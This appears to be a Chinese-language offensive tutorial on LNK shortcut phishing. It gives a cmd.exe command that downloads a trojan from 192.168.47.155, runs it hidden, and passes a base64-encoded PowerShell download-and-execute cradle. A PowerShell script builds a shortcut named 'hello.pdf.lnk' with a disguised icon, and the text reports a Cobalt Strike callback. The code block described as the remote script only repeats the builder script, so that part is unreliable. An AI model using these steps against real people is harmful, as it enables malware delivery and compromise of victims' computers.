简介
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令
步骤
1.编写shell命令
首先新建一个文本文件test.txt
,用于存放要执行的shell命令(其实快捷方式钓鱼的本质就是指向cmd.exe以此来执行shell命令)
test.txt
的内容如下所示,其目的是远程下载木马程序至本地存放临时文件的目录,随后附加参数执行木马程序
cmd.exe /c (curl http://192.168.47.155:80/download/mypowershell.exe --output C:\Windows\TEMP\win.exe) & (start /B C:\Windows\TEMP\win.exe SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDcuMTU1OjgwL2InKSk=)
start
命令用于启动一个新的窗口来运行指定的程序或命令,而/B
选项告诉start
命令在后台(即无窗口)运行。这样做的目的是更加隐蔽地执行木马程序
2.编写ps1脚本生成lnk
创建一个powershell脚本文件createlnk.ps1
,代码如下所示,其目的是生成一个lnk快捷方式
# 从 "test.txt" 文件中获取内容,并将该内容存储在变量 $file 中
$file = Get-Content "test.txt"
# 创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell
# 使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")
# 设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
# 设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"
# 设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file
# 保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()
3.运行测试
使用powershell运行createlnk.ps1
后会生成一个lnk文件hello.pdf.lnk
。
点击lnk文件后,会执行之前编写的shell命令。如下图所示,hello.pdf.ink
会被真正的pdf文件替换掉,CS成功上线。
这些功能的实现都归功于远程的powershell脚本,后续我会讲解下此脚本的实现思路
远程下载的木马程序其实就是一个模拟powershell的可执行程序,想了解的可以看我免杀系列的文章
这里我讲解下powershell远程执行脚本的代码,从上述的执行效果图可以发现,点击lnk一段时间后才打开真正的pdf文件,这是因为脚本需要花费一些时间去遍历系统的目录以此来寻找到lnk钓鱼文件的所在路径。后面你还可以添加CS上线的powershell代码,这里我就没添上去了
# 从 "test.txt" 文件中获取内容,并将该内容存储在变量 $file 中
$file = Get-Content "test.txt"
# 创建一个 COM 对象,该对象对应于 Windows Script Host Shell,可以用来执行各种系统任务,例如创建快捷方式
$WshShell = New-Object -comObject WScript.Shell
# 使用 WSH Shell 的 `CreateShortcut` 方法创建一个快捷方式,该快捷方式的名称是 "test.lnk"
$Shortcut = $WshShell.CreateShortcut("hello.pdf.lnk")
# 设置快捷方式的目标路径,也就是快捷方式所指向的程序。这里设置的是 cmd.exe,它是 Windows 的命令提示符
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
# 设置快捷方式的图标位置。这里设置的是 Shell32.dll 文件中的第 1 个图标
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,1"
# 设置当启动目标程序时要传递给它的命令行参数。这里设置的是 "test.txt" 文件的内容
$Shortcut.Arguments = ''+ $file
# 保存对快捷方式的所有更改,创建了实际的 ".lnk" 文件
$Shortcut.Save()
上述脚本代码有关于设置快捷方式的图标位置,图标位置的下标排序是从0开始的。例如下图我所指的这个图标,它的位置下标是1(从上往下数, 随后以此从左往右数)
这里还有一个大坑, 我发现在gui界面更换图标后点击lnk文件无法执行对应的shell命令, 只有使用powershell脚本来更换图标文件才能正常执行
参考链接
https://xz.aliyun.com/t/9159#toc-5